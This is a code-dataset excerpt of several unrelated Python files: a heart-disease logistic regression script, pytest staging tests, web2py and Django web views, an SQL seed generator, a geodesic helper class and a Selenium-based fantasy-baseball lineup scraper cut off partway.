Model:\")\nresult=back_feature_elem(framingham_df_constant,framingham_df.TenYearCHD,cols)\nprint(result.summary())\n\n########################################### Interpreting the results: Odds Ratio, Confidence Intervals and Pvalues ###########################################\nprint(\"\\n### Interpreting the results: Odds Ratio, Confidence Intervals and Pvalues ###\")\nparams = np.exp(result.params)\nconf = np.exp(result.conf_int())\nconf['OR'] = params\npvalue=round(result.pvalues,3)\nconf['pvalue']=pvalue\nconf.columns = ['CI 95%(2.5%)', 'CI 95%(97.5%)', 'Odds Ratio','pvalue']\nprint ((conf))\n\n\n########################################### Computing accuracy ###########################################\nprint(\"\\n############### Computing Accuracy ##################\")\n\n#Splitting data to train and test split\nnew_features=framingham_df[['age','male','cigsPerDay','totChol','sysBP','glucose','TenYearCHD']]\nx=new_features.iloc[:,:-1]\ny=new_features.iloc[:,-1]\n\nx_train,x_test,y_train,y_test=train_test_split(x,y,train_size=0.9,test_size=.1,random_state=0)\n\n#Apply model to train data\nlogreg=LogisticRegression()\nlogreg.fit(x_train,y_train)\ny_pred=logreg.predict(x_test)\n\n#Compute Accuracy\nprint(\"Accuracy of Model:\",(sklearn.metrics.accuracy_score(y_test,y_pred))*100,\"%\")\n\n\n########################################### Model Evaluation by Confusion Matrix ###########################################\nprint(\"\\n################## Model Evaluation by Confusion Matrix ##################\")\ncm=confusion_matrix(y_test,y_pred)\nconf_matrix=pd.DataFrame(data=cm,columns=['Predicted:0','Predicted:1'],index=['Actual:0','Actual:1'])\nplt.figure(figsize = (8,5))\nsn.heatmap(conf_matrix, annot=True,fmt='d',cmap=\"YlGnBu\")\n\n\n\nTN=cm[0,0]\nTP=cm[1,1]\nFN=cm[1,0]\nFP=cm[0,1]\nsensitivity=TP/float(TP+FN)\nspecificity=TN/float(TN+FP)\n\nprint('\\nThe accuracy of the model = TP+TN/(TP+TN+FP+FN) = ',(TP+TN)/float(TP+TN+FP+FN),'\\n',\n\n'The Missclassification = 1-Accuracy = ',1-((TP+TN)/float(TP+TN+FP+FN)),'\\n',\n\n'Sensitivity or True Positive Rate = TP/(TP+FN) = ',TP/float(TP+FN),'\\n',\n\n'Specificity or True Negative Rate = TN/(TN+FP) = ',TN/float(TN+FP),'\\n',\n\n'Positive Predictive value = TP/(TP+FP) = ',TP/float(TP+FP),'\\n',\n\n'Negative predictive Value = TN/(TN+FN) = ',TN/float(TN+FN),'\\n',\n\n'Positive Likelihood Ratio = Sensitivity/(1-Specificity) = ',sensitivity/(1-specificity),'\\n',\n\n'Negative likelihood Ratio = (1-Sensitivity)/Specificity = ',(1-sensitivity)/specificity)\n\n\n\n###### FINAL PREDICTION ######\nprint(\"\\n#################### FINAL PREDICTION #######################\\n\")\ny_pred_prob=logreg.predict_proba(x_test)[:,:]\ny_pred_prob_df=pd.DataFrame(data=y_pred_prob, columns=['Prob of no heart disease (0)','Prob of Heart Disease (1)'])\nprint(y_pred_prob_df)\n\n\n#Threshold adjustment to increase sensitivity\nprint(\"\\nThreshold adjustment:\")\nfor i in range(1,5):\n    cm2=0\n    y_pred_prob_yes=logreg.predict_proba(x_test)\n    y_pred2=binarize(y_pred_prob_yes,i/10)[:,1]\n    cm2=confusion_matrix(y_test,y_pred2)\n    print ('With',i/10,'threshold the Confusion Matrix is ','\\n',cm2,'\\n',\n            'with',cm2[0,0]+cm2[1,1],'correct predictions and',cm2[1,0],'Type II errors( False Negatives)','\\n\\n',\n          'Sensitivity: ',cm2[1,1]/(float(cm2[1,1]+cm2[1,0])),'Specificity: ',cm2[0,0]/(float(cm2[0,0]+cm2[0,1])),'\\n\\n\\n')\n    \n    \n########################################### ROC curve and AUC ###########################################\nprint(\"\\n################################### ROC Curve and AUC ###################################\")\nfpr, tpr, thresholds = roc_curve(y_test, y_pred_prob_yes[:,1])\nplt.plot(fpr,tpr)\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.0])\nplt.title('ROC curve for Model')\nplt.xlabel('False positive rate (1-Specificity)')\nplt.ylabel('True positive rate (Sensitivity)')\nplt.grid(True)\n\n#AUC\nprint(\"AUC:\",sklearn.metrics.roc_auc_score(y_test,y_pred_prob_yes[:,1]))\n","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":7742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"221890939","text":"\"\"\"\nThis test is launched as part of the existing tox command\n\nIt tests that the staging environment provisioner is doing a correct\njob by looking mainly at its output: the stage file, the directory structure,\nthe list of containers created.\n\nUses standard pytest fixture as a setup/teardown method\n\"\"\"\nimport logging\nimport os\n\nimport docker\nimport pytest\nfrom common import get_log_file, setup_logging\nfrom config import PromoterConfigFactory\n\ntry:\n    import urllib2 as url\nexcept ImportError:\n    import urllib.request as url\n\nimport yaml\nfrom dlrn_hash import DlrnAggregateHash, DlrnCommitDistroExtendedHash, DlrnHash\nfrom stage import main as stage_main\n\nlog = logging.getLogger(\"promoter-staging\")\n\n\n@pytest.fixture(scope='function')\ndef staged_env(request):\n    \"\"\"\n    Fixture that runs the staging environment provisioner with parameters,\n    yield the stage_info file produced and cleans up after\n    It has two parameters by default, to test the interaction for single\n    pipeline and for integration pipeline\n    :param request: the parameter for the fixture, passed by the\n    pytest.mark.parametrize decorator above each test\n    :return: yields the stage_info dict\n    \"\"\"\n\n    # We are going to call the main in the staging passing a composed command\n    # line, so we are testing also that the argument parsing is working\n    # correctly instead of passing  configuration directly\n    setup_logging(\"promoter-staging\", 10)\n    test_case = \"all_single\"\n    config_file = \"stage-config-secure.yaml\"\n    release_file = \"CentOS-8/master.yaml\"\n    cmd_line = \"\"\n\n    try:\n        test_case = request.param\n    except AttributeError:\n        pass\n    except KeyError:\n        log.error(\"Invalid test case '{}'\".format(request.param))\n        raise\n\n    if 'secure' in test_case:\n        cmd_line += \" --extra-config {}\".format(config_file)\n    # Select scenes to run in the staging env depending on the parameter passed\n    # to the fixture\n    scenes = None\n    if \"overcloud_\" in test_case:\n        scenes = 'overcloud_images'\n    if \"registries_\" in test_case:\n        scenes = 'registries'\n    if \"containers_\" in test_case:\n        scenes = 'registries,containers'\n\n    if scenes is not None:\n        cmd_line += \" --scenes {}\".format(scenes)\n\n    # for the tests of the integration pipeline we need to pass a different\n    # file with db data\n    db_data = \"\"\n    if \"_integration\" in test_case:\n        db_data = \" --db-data-file integration-pipeline.yaml\"\n\n    setup_cmd_line = \"{} {} setup --release-config {} \".format(cmd_line,\n                                                               db_data,\n                                                               release_file)\n    teardown_cmd_line = \"{} teardown\".format(cmd_line)\n\n    log.info(\"Running cmd line: {}\".format(setup_cmd_line))\n\n    config = stage_main(setup_cmd_line)\n\n    stage_info_path = config['stage_info_path']\n    with open(stage_info_path, \"r\") as stage_info_file:\n        stage_info = yaml.safe_load(stage_info_file)\n\n    yield config, stage_info\n\n    log.info(\"Running cmd line: {}\".format(teardown_cmd_line))\n    stage_main(teardown_cmd_line)\n\n    # Check that teardown works properly\n    if \"registries\" in stage_info['main']['scenes']:\n        # Check registries are correctly cleared after teardown\n        docker_client = docker.from_env()\n        for registry in config.registries:\n            try:\n                docker_client.containers.get(registry['name'])\n                assert False, \"Registry {} not removed\".format(registry['name'])\n            except docker.errors.NotFound:\n                assert True\n        # There are other resources the staging environment creates\n        # We should make sure that the rest of teardown works correctly:\n        # TODO(gcerami) Check that the images tree is removed\n        # TODO(gcerami) Check that stage-info.yaml file is removed.\n        # TODO(gcerami) Check that dlrn commit database is removed\n\n    # TODO(gcerami) Check that dlrn commit database is removed\n\n\n@pytest.mark.serial\ndef test_stage_config():\n    \"\"\"\n    Test to see if the stage config is created correctly\n    :return: None\n    \"\"\"\n    release_config = \"CentOS-8/master.yaml\"\n    log_file = os.path.expanduser(get_log_file('staging',\n                                               release_config))\n    log_dir = \"/\".join(log_file.split(\"/\")[:-1])\n    if not os.path.exists(log_dir):\n        log.info(\"Creating log directory : {}\".format(log_dir))\n        os.makedirs(log_dir)\n\n    config_builder = PromoterConfigFactory(**{'log_file': log_file})\n    config = config_builder(\"staging\", None, validate=None)\n    config_sections = ['registries', 'containers',\n                       'overcloud_images', 'dlrn']\n    for section in config_sections:\n        assert hasattr(config, section)\n        assert (getattr(config, section) is not None)\n\n\n@pytest.mark.parametrize(\"staged_env\",\n                         ('all_single', 'all_integration'),\n                         indirect=True)\n@pytest.mark.serial\ndef test_stage_info(staged_env):\n    \"\"\"\n    Test that the staged env is producing valid stage_info\n    :param staged_env: The staged_env fixture\n    :return: None\n    \"\"\"\n    config, stage_info = staged_env\n\n    # Check needed top level attributes\n    sections = [\n        \"dlrn\",\n        \"overcloud_images\",\n        \"registries\",\n        \"containers\"\n    ]\n    for attribute in sections:\n        assert attribute in stage_info.keys()\n    main_attributes = [\n        \"distro_name\",\n        \"distro_version\",\n        \"release\",\n        \"log_file\",\n    ]\n    for attribute in main_attributes:\n        msg = \"No {} in main\".format(attribute)\n        assert attribute in stage_info['main'].keys(), msg\n    dlrn_attributes = [\n        'api_url',\n        'repo_url',\n    ]\n    for attribute in dlrn_attributes:\n        msg = \"No {} in dlrn.server\".format(attribute)\n        assert attribute in stage_info['dlrn']['server'].keys(), msg\n\n\n@pytest.mark.parametrize(\"staged_env\",\n                         ('registries_single', 'registries_integration'),\n                         indirect=True)\n@pytest.mark.serial\ndef test_registries(staged_env):\n    \"\"\"\n    Test that the registries are created correctly\n    :param staged_env: The staged_env fixture\n    :return: None\n    \"\"\"\n\n    docker_client = docker.from_env()\n    config, stage_info = staged_env\n\n    # Check registries\n    for registry in config.registries:\n        # Check compliance with config file, all registries should be there\n        if registry['type'] == \"source\":\n            source_registry_name = stage_info['registries']['source']['name']\n            assert registry['name'] == source_registry_name\n        else:\n            found = False\n            for target in stage_info['registries']['targets']:\n                if registry['name'] == target['name']:\n                    found = True\n                    if registry['secure']:\n                        # Check that registry marked as secure\n                        # have a auth_url defined\n                        assert \"auth_url\" in target\n                        # And we can log in with info provided\n                        try:\n                            docker_client.login(\n                                registry=target['auth_url'],\n                                username=target['username'],\n                                password=target['password'],\n                                dockercfg_path=\"/dev/null\",\n                                reauth=True\n                            )\n                        except docker.errors.APIError:\n                            assert False, \"Login failed\"\n            assert found\n        # Check that the registries are up and running\n        assert docker_client.containers.get(registry['name'])\n        # TODO(gcerami) Check registries respond correctly\n    all_reg = (stage_info['registries']['targets']\n               + [stage_info['registries']['source']])\n    for registry in all_reg:\n        # Check needed attributes\n        attributes = [\n            \"host\",\n            \"name\",\n            \"namespace\",\n            \"username\",\n            \"password\",\n        ]\n        for attribute in attributes:\n            assert attribute in registry\n\n\n@pytest.mark.parametrize(\"staged_env\",\n                         ('containers_single', 'containers_integration'),\n                         indirect=True)\n@pytest.mark.serial\ndef test_containers(staged_env):\n    \"\"\"\n    Test that the containers are created and pushed correctly to local source\n    registry\n    :param staged_env: The staged_env fixture\n    :return: None\n    \"\"\"\n    __, stage_info = staged_env\n    # Check that all declare containers are realy pushed\n    ppc64le_count = 0\n    found = []\n    source_registry = stage_info['registries']['source']['url']\n\n    for full_name in stage_info['containers']['images']:\n        # Check if we only upload the containers for the promotion candidate\n        # hash\n        candidate_hash_dict = \\\n            stage_info['dlrn']['promotions']['promotion_candidate']\n        candidate_hash = DlrnHash(source=candidate_hash_dict)\n        if stage_info['main']['pipeline_type'] == \"integration\":\n            assert type(candidate_hash) == DlrnAggregateHash\n        elif stage_info['main']['pipeline_type'] == \"single\":\n            assert type(candidate_hash) == DlrnCommitDistroExtendedHash\n\n        assert candidate_hash.full_hash in full_name\n\n        container, tag = full_name.split(':')\n        reg_url = \"{}/v2/{}/manifests/{}\".format(\n            source_registry, container, tag\n        )\n        if \"_ppc64le\" in tag:\n            ppc64le_count += 1\n        try:\n            url.urlopen(reg_url)\n            found.append(full_name)\n        except url.HTTPError:\n            print(\"Missing container: {}\".format(reg_url))\n    assert sorted(stage_info['containers']['images']) == sorted(found)\n\n    # check that at least one image doesn't have ppc tagging\n    # If all images have ppcle tagging, the should be at least one third\n    # Check that they are way less\n    images_count = len(stage_info['containers']['images'])\n    ppc64le_ratio = float(ppc64le_count) / images_count\n    assert ppc64le_ratio <= 1.0 / 3.0\n\n\n@pytest.mark.parametrize(\"staged_env\",\n                         ('overcloud_single', 'overcloud_integration'),\n                         indirect=True)\n@pytest.mark.serial\ndef test_overcloud_images(staged_env):\n    \"\"\"\n    Test that the staged hierarchy of overcloud images was created correctly\n    :param staged_env: The staged_env fixture\n    :return: None\n    \"\"\"\n    config, stage_info = staged_env\n    # Check images subtree, all full hases should be there\n    overcloud_images_path = config.qcow_server['root']\n    base_path = os.path.join(\n        overcloud_images_path,\n        config['distro'],\n        config['release'],\n        'rdo_trunk',\n    )\n    # Check stage_info has the requred attributes\n    overcloud_images = stage_info['overcloud_images']\n    attributes = [\n        'user',\n        'key_path',\n        'root'\n    ]\n    for attribute in attributes:\n        assert attribute in overcloud_images\n    check_paths = []\n    existing_paths = []\n    for commit in stage_info['dlrn']['promotions'].values():\n        dlrn_hash = DlrnHash(source=commit)\n        # check commit attributes are there\n        hash_path = os.path.join(base_path, dlrn_hash.full_hash)\n        check_paths.append(hash_path)\n\n        # We don't block at the first path found, I want to see all\n        # the missing paths\n        try:\n            os.stat(hash_path)\n            existing_paths.append(hash_path)\n        except OSError:\n            raise\n\n    assert check_paths == existing_paths\n\n    # check if we have a leaf with the symbolic link\n    # and the dir linked exists\n    promotion_commit = \\\n        stage_info['dlrn']['promotions']['currently_promoted']\n    promotion_name = promotion_commit['name']\n    promotion_link = os.path.join(base_path, promotion_name)\n    promotion_target = os.readlink(promotion_link)\n    # The fist commit is \"the current promotion link\"\n    dlrn_hash = DlrnHash(source=promotion_commit)\n    sample_path = \\\n        os.path.join(base_path, dlrn_hash.full_hash)\n    assert promotion_target == sample_path\n","sub_path":"ci-scripts/dlrnapi_promoter/test_stage_functional.py","file_name":"test_stage_functional.py","file_ext":"py","file_size_in_byte":12260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"275228295","text":"# -*- coding: utf-8 -*-\n# ---\nfrom os.path import join as UNIR\n\ndef index():\n    tarea=0\n    formulario = SQLFORM.factory(\n        Field('archivo', 'upload', label=\"Archivo de datos\"))\n    if formulario.process().accepted:\n        response.flash = 'formulario aceptado'\n        archivo=UNIR(request.folder,\"uploads\",formulario.vars.archivo)\n        print (archivo)\n        archivo=open(archivo,\"r\")\n        nrolinea=0\n        novedad=[]\n        for linea in archivo.readlines():\n            nrolinea +=1\n            linea=linea.replace(\"\\n\",\"\")\n            linea=linea.split(\",\")\n            #print (linea)\n            if len(linea[0].strip())==0:\n                novedad.append([nrolinea,\"Nombre en blanco\", linea])\n                continue\n            if len(linea[1].strip())==0:\n                novedad.append([nrolinea,\"NIT en blanco\", linea])\n                continue\n\n            db.tbl_cliente.insert(  nombre=linea[0],\n                                    nit=linea[1],\n                                    correo1=linea[2],\n                                    correo2=linea[3],\n                                    #correo3=linea[4]\n            )\n\n        print (\"Novedad:\",novedad)\n\n    elif formulario.errors:\n        response.flash = 'el formulario tiene errores'\n    return locals() #dict(formulario=formulario)\n","sub_path":"controllers/subirplano.py","file_name":"subirplano.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"283804133","text":"from gen_user import patient_data\nfrom gen_user import doctor_data\nfrom random import choice\n\nfart = [\n    '非常感谢医生，回复的速度真的很快！而且很详细。',\n    '耐心、专业！',\n    '医生很有责任心，解答很到位。',\n    '无比赞，谢谢医生的解惑。',\n    '谢谢医生，祝医生新年快乐！',\n    '专业详实的解答，多谢医生',\n    '谢谢医生！',\n    '医生很厉害，但是我还有一些不明白的地方，希望下次还能请教医生~'\n]\n\nsql_wildcard = '''\nINSERT INTO comment(patient_id, doctor_id, content)\nSELECT patient_user.user_id, doctor_user.user_id, '{content}'\nFROM hospital_hub_user AS patient_user, hospital_hub_user AS doctor_user\nWHERE patient_user.username = '{patient_username}' AND doctor_user.username = '{doctor_username}';'''\n\n\ndef gen(sql_file, n):\n    sql_file.write(\"\\n-- 初始化 comment\\n\")\n    for it in range(n):\n        sql_file.write(sql_wildcard.format(content=choice(fart), patient_username=choice(patient_data)[0],\n                                           doctor_username=choice(doctor_data)[0]))\n        sql_file.write('\\n')\n","sub_path":"DB/gen_sql/gen_comment.py","file_name":"gen_comment.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"327199294","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import BlogPost\nfrom .forms import CreateBlogPostForm, CreateCommentForm\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\n\n\n# Create your views here.\n\ndef home(request):\n    posts = BlogPost.objects.all()\n    paginator = Paginator(posts, 2)\n    page = request.GET.get('page')\n    posts = paginator.get_page(page)\n    context = {'posts':posts}\n    return render(request, 'home.html', context)\n\ndef detail(request,id):\n    form = CreateCommentForm(request.POST or None) \n    post = get_object_or_404(BlogPost, pk=id)\n    comments = post.comment_set.all()\n    if request.POST:\n            if form.is_valid():\n                    instance = form.save(commit=False)\n                    instance.comment_by = request.user\n                    instance.post=post\n                    instance.save()\n                    return redirect(reverse('detail',kwargs={'id':id}))\n    context = {'post':post,'comments':comments, 'form':form}\n\n    return render(request, 'detail.html',context)\n\n@login_required(login_url='/admin/')\ndef create_post(request):\n    form = CreateBlogPostForm(request.POST or None)\n    if request.POST:\n        if form.is_valid():\n            instance = form.save(commit=False)\n            instance.author=request.user\n            instance.save()\n            messages.success(request, message=f'{instance.title} post created successfully!!')\n            return redirect('home')\n\n    \n    context = {'form':form}\n    return render(request, 'create.html', context)\n\n\ndef edit_post(request, id):\n        post = get_object_or_404(BlogPost, pk=id)\n        form = CreateBlogPostForm(request.POST or None, instance=post)\n        if request.POST:\n            if form.is_valid():\n                instance = form.save()\n                messages.success(request, message=f'{instance.title} Post updated successfully!!')\n                return redirect(reverse('detail',kwargs={'id':instance.pk}))\n        \n        context = {'form':form}\n        return render(request, 'create.html', context)\n\ndef delete_post(request,id):\n        post = get_object_or_404(BlogPost, pk=id)\n        if request.POST:\n\n            if post:\n                post.delete()\n                messages.warning(request,message='Post deleted successfully!!!')\n                return redirect('home')   \n        context = {'post':post}  \n        return render(request,'delete.html',context)\n\n\ndef collapse(request):\n        posts = BlogPost.objects.all()\n        context = {'posts':posts}\n        return render(request, 'collapse.html', context)\n\ndef modal(request):\n        posts = BlogPost.objects.all()\n        context = {'posts':posts}\n        return render(request, 'modal.html', context)\n\ndef like_post(request,id):\n        post = get_object_or_404(BlogPost, pk=id)\n        print('POST', post)\n        print('CHECK',  request.user in  post.likes.all())\n        if request.user in post.likes.all():\n                post.likes.remove(request.user)\n        else:\n                post.likes.add(request.user)\n        return redirect(reverse('detail',kwargs={'id':id}))","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"237928374","text":"from django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('accounts/', include('allauth.urls')),\n    path('', include('home.urls')),\n    path('', include('accounts.urls')),\n    path('dashboard/', include('dashboard.urls')),\n    path('properties/', include('properties.urls')),\n]","sub_path":"rentall/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"477574688","text":"from math import *\n\nfrom const import *\n#Robert Grumbine\n#1 June 2018\n\nclass latpt:\n\n  def __init__(self,lat = 0., lon = 0.):\n    self.lat = float(lat)\n    self.lon = float(lon)\n\n  def show(self):\n    print (str(self.lon),str(self.lat))\n\n  def distance(self, x ):\n### These are in the const.py\n#    earth_radius = 6371.2 #km\n#    rpdg = 3.1416 / 180.\n##\n    ab = (90.-self.lat)*const.rpdg\n    ac = (90.-x.lat)   *const.rpdg\n    bc = abs(self.lon - x.lon)*const.rpdg\n\n    arg = cos(ab)*cos(ac)+sin(ab)*sin(ac)*cos(bc)\n    if (arg > 1):\n      arg = 1\n    if (arg < -1):\n      arg = -1\n\n    return const.earth_radius * acos(arg)\n\n#Direction in degrees, distance in km (const.earth_radius)\n  def bearing_from(self, distance, direction) :\n     final      = latpt()\n     R          = const.earth_radius\n     direction *= const.rpdg  #beware conventions on direction\n     lat1 = self.lat*const.rpdg\n     lon1 = self.lon*const.rpdg\n     lat2 = asin( sin(lat1)*cos(distance/R) + cos(lat1)*sin(distance/R)*cos(direction))\n     lon2 = lon1 + atan2(sin(direction)*sin(distance/R)*cos(lat1), cos(distance/R)-sin(lat1)*sin(lat2))\n     final.lat = lat2 / const.rpdg\n     final.lon = lon2 / const.rpdg\n     return final\n  \n","sub_path":"py/latpt.py","file_name":"latpt.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"59392801","text":"import csv, itertools, copy, time, os, re, math, shutil\nfrom collections import Counter\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException, WebDriverException\nimport profile\n\n\"\"\"\nConstraints:\n1) 1 Pitcher, 1 Catcher, 1 FirstBaseman, 1 Secondbaseman, 1 Thirdbaseman, 1 Shortstop, 3 Outfielders\n2) Total lineup salary cannot exceed $35,000\n3) Can not have more than 4 players from the same MLB team in lineup\n\"\"\"\n\nstart = time.time()\n\nteamDict = {\n'LAA' : 'Angels',\n'HOU' : 'Astros',\n'OAK' : 'Athletics',\n'TOR' : 'Blue Jays',\n'ATL' : 'Braves',\n'MIL' : 'Brewers',\n'STL' : 'Cardinals',\n'CHC' : 'Cubs',\n'ARI' : 'Diamondbacks',\n'LOS' : 'Dodgers',\n'SFG' : 'Giants',\n'CLE' : 'Indians',\n'SEA' : 'Mariners',\n'MIA' : 'Marlins',\n'NYM' : 'Mets',\n'WAS' : 'Nationals',\n'BAL' : 'Orioles',\n'SDP' : 'Padres',\n'PHI' : 'Phillies',\n'PIT' : 'Pirates',\n'TEX' : 'Rangers',\n'TAM' : 'Rays',\n'BOS' : 'Red Sox',\n'CIN' : 'Reds',\n'COL' : 'Rockies',\n'KAN' : 'Royals',\n'DET' : 'Tigers',\n'MIN' : 'Twins',\n'CWS' : 'White Sox',\n'NYY' : 'Yankees'\n}\n\n# # Sabersim team names\n# teamNames2 = {\n# 'LAA' : 'ana',\n# 'HOU' : 'hou',\n# 'OAK' : 'oak',\n# 'TOR' : 'tor',\n# 'ATL' : 'atl',\n# 'MIL' : 'mil',\n# 'STL' : 'sln',\n# 'CHC' : 'chn',\n# 'ARI' : 'ari',\n# 'LOS' : 'lan',\n# 'SFG' : 'sfn',\n# 'CLE' : 'cle',\n# 'SEA' : 'sea',\n# 'MIA' : 'mia',\n# 'NYM' : 'nyn',\n# 'WAS' : 'was',\n# 'BAL' : 'bal',\n# 'SDP' : 'sdn',\n# 'PHI' : 'phi',\n# 'PIT' : 'pit',\n# 'TEX' : 'tex',\n# 'TAM' : 'tba',\n# 'BOS' : 'bos',\n# 'CIN' : 'cin',\n# 'COL' : 'col',\n# 'KAN' : 'kca',\n# 'DET' : 'det',\n# 'MIN' : 'min',\n# 'CWS' : 'cha',\n# 'NYY' : 'nya'\n# }\n\n# Visits Fangraphs website, downloads projected points csv and converts data into a list\ndef downloadData(folderPath, url, linkTextString):\n    name = str(time.asctime(time.localtime(time.time()))).replace(':', '_')\n    folderPath += name\n    os.makedirs(folderPath)\n\n    profile = webdriver.FirefoxProfile()\n    profile.set_preference('browser.download.folderList', 2)\n    profile.set_preference('browser.download.manager.showWhenStarting', False)\n    profile.set_preference('browser.download.dir', folderPath)\n    profile.set_preference('browser.helperApps.neverAsk.saveToDisk', 'text/csv')\n\n    browser = webdriver.Firefox(profile)\n\n    try:\n        browser.get(url)\n    except TimeoutException:\n        pass\n    except WebDriverException:\n        print(\"Could not access fangraphs to download projected points\")\n\n    linkElem = browser.find_element_by_link_text(linkTextString)\n    linkElem.click()\n    time.sleep(5)\n\n    for file in os.listdir(folderPath):\n        filePath = folderPath + '/' + file\n        with open(filePath) as spreadSheetFile:\n            dataList = list(csv.reader(spreadSheetFile))[1:]\n            shutil.rmtree(folderPath)\n            browser.quit()\n            return dataList\n\n# Removes inconsistencies between players names in fanduel and fangraphs\ndef editPlayerName(elementName, rowIndex):\n    fullName = elementName[rowIndex].lower().replace(\".\", \"\").replace(\" jr\", \"\").split(' ', 1)\n    firstName = fullName[0]\n    if len(firstName) > 2:\n        firstName = firstName[:3]\n    lastName = fullName[1]\n    name = firstName + \" \" + lastName\n    removeInitial = re.compile(r' \\w ').search(name)\n    if removeInitial:\n        name = name.replace(removeInitial.group(), ' ')\n    return name\n\n# Calculates how many different ways you can choose 3 items from n item set (used to figure out how many combinations of outfielders are possible)\ndef combinationsCalculator(n):\n    groupings = 3\n    combos = int(math.factorial(n)/(math.factorial(groupings)*math.factorial(n-groupings)))\n    return combos\n\n# Grab all the data\nurlBat = 'http://www.fangraphs.com/dailyprojections.aspx?pos=all&stats=bat&type=sabersim&team=0&lg=all&players=0'\nurlPit = 'http://www.fangraphs.com/dailyprojections.aspx?pos=all&stats=pit&type=sabersim&team=0&lg=all&players=0'\nurlFanDuel = 'https://www.fanduel.com/games/19779/contests/19779-209990225/enter' # Enter FanDuel Contest URL here\n\nbatFolderPath = '/Users/RyanRobertson21/Desktop/battersPP-'\npitFolderPath = '/Users/RyanRobertson21/Desktop/pitchersPP-'\nfanDuelFolderPath = '/Users/RyanRobertson21/Desktop/fanDuel-'\n\ns1= time.time()\nprint('Downloading batters data from FanGraphs...')\nbattersPP = downloadData(batFolderPath, urlBat, 'Export Data')\ne1 = time.time()\nprint(e1-s1)\ntime.sleep(3)\ns2 = time.time()\nprint('\\nDownloading pitchers data from FanGraphs...')\npitchersPP = downloadData(pitFolderPath, urlPit, 'Export Data')\ne2 = time.time()\nprint(e2-s2)\ntime.sleep(3)\ns3 = time.time()\nprint('\\nDownloading contest data from FanDuel...')\ncontestLineup = downloadData(fanDuelFolderPath, urlFanDuel, 'Download players list')\ne3 = time.time()\nprint(e3-s3)\n\n# # Used to test without having to pull projected points from fangraphs, or to run contests from previous dates\n# contestLineup = list(csv.reader(open('/Users/RyanRobertson21/Downloads/FanDuel-MLB-2017-06-24-19840-players-list.csv')))[1:] # Enter path to FanDuel file here\n# battersPP = list(csv.reader(open('/Users/RyanRobertson21/Desktop/6-21b.csv')))[1:] # Enter path to Fangraphs batters projected points file here\n# pitchersPP = list(csv.reader(open('/Users/RyanRobertson21/Desktop/6-21p.csv')))[1:] # Enter path to Fangraphs pitchers projected points file here\n\n# # Sabersim used to confirm that the optimal lineup this program outputs matches up with the optimal lineup Sabersim outputs (confirms it is the correct optimal lineup)\n# saberSim = list(csv.reader(open('/Users/RyanRobertson21/Downloads/sabersim_players_2017-06-24 23_15_00_7_mlb(1).csv')))[1:] # Enter path to Sabersim projected points file here\n\n\n# Match up the players from Fanduel with their projected points from Fangraphs\nplayerNamesToCheck = []\nplayerDict = {}\n\nfor row in contestLineup:\n    for ppRow in battersPP:\n        fdName = editPlayerName(row, 3)\n        ppName = editPlayerName(ppRow, 0)\n\n        if fdName == ppName and row[1] != 'P' and (teamDict[row[9]] == ppRow[1] or ppRow[1] == ''):\n            playerList = [row[1], row[3], float(ppRow[-3]), int(row[7]), row[9]]\n            playerDict[ppRow[-1]] = playerList\n            playerNamesToCheck.append(fdName)\n\nfor row in contestLineup:\n    for ppRow in pitchersPP:\n        fdName = editPlayerName(row, 3)\n        ppName = editPlayerName(ppRow, 0)\n\n        if fdName == ppName and row[1] == 'P' and (teamDict[row[9]] == ppRow[1] or ppRow[1] == ''):\n            playerList = [row[1], row[3], float(ppRow[-3]), int(row[7]), row[9]]\n            playerDict[ppRow[-1]] = playerList\n            playerNamesToCheck.append(fdName)\n\n# #For testing with Sabersim, matches up the players from fanduel with their projected points from Sabersim\n# for row in contestLineup:\n#     for ppRow in saberSim:\n#         fdName = editPlayerName(row, 3)\n#         ssName = editPlayerName(ppRow, 1)\n#         if fdName == ssName and (teamNames2[row[9]] == ppRow[2] or ppRow[2] == ''):\n#             playerList = [row[1], row[3], float(ppRow[16]), int(row[7]), row[9]]\n#             playerDict[row[0]] = playerList\n#             playerNamesToCheck.append(fdName)\n\n\n# Used to test to make sure players are being read in and matched up correctly from the Fangraphs pitchers and Fangraphs batters spreadsheets, with\n# the Fanduel spreadsheet. Works best when no games have started yet, otherwise players in games that have started\n# are no longer eligibile to be selected for the contest in Fanduel. So while they will appear in the projected points spreadsheet\n# they won't, and shouldn't appear on Fanduel, and thus wont be read in. Output for 'Players missing from FanDuel' is not that important\n# because if a player from FanDuel isn't listed in one of the projected points spreadsheets it most likely means he is not playing that day\n# for whatever reason.\n\n# print('\\nBatters missing from PP\\n')\n# for ppRow in battersPP:\n#     ppName = editPlayerName(ppRow, 0)\n#\n#     if ppName not in playerNamesToCheck:\n#         print(ppName)\n#\n# print('\\nPitchers missing from PP\\n')\n# for ppRow in pitchersPP:\n#     ppName = editPlayerName(ppRow, 0)\n#\n#     if ppName not in playerNamesToCheck:\n#         print(ppName)\n#\n#\n# print('\\nPlayer missing from FanDuel\\n')\n# for row in contestLineup:\n#     fdName = editPlayerName(row, 3)\n#\n#     if fdName not in playerNamesToCheck:\n#         print(fdName, row[1])\n\n# Used for the same test but with Sabersim\n# print('\\nPlayers missing from saber sim\\n')\n# for ppRow in saberSim:\n#     ssName = 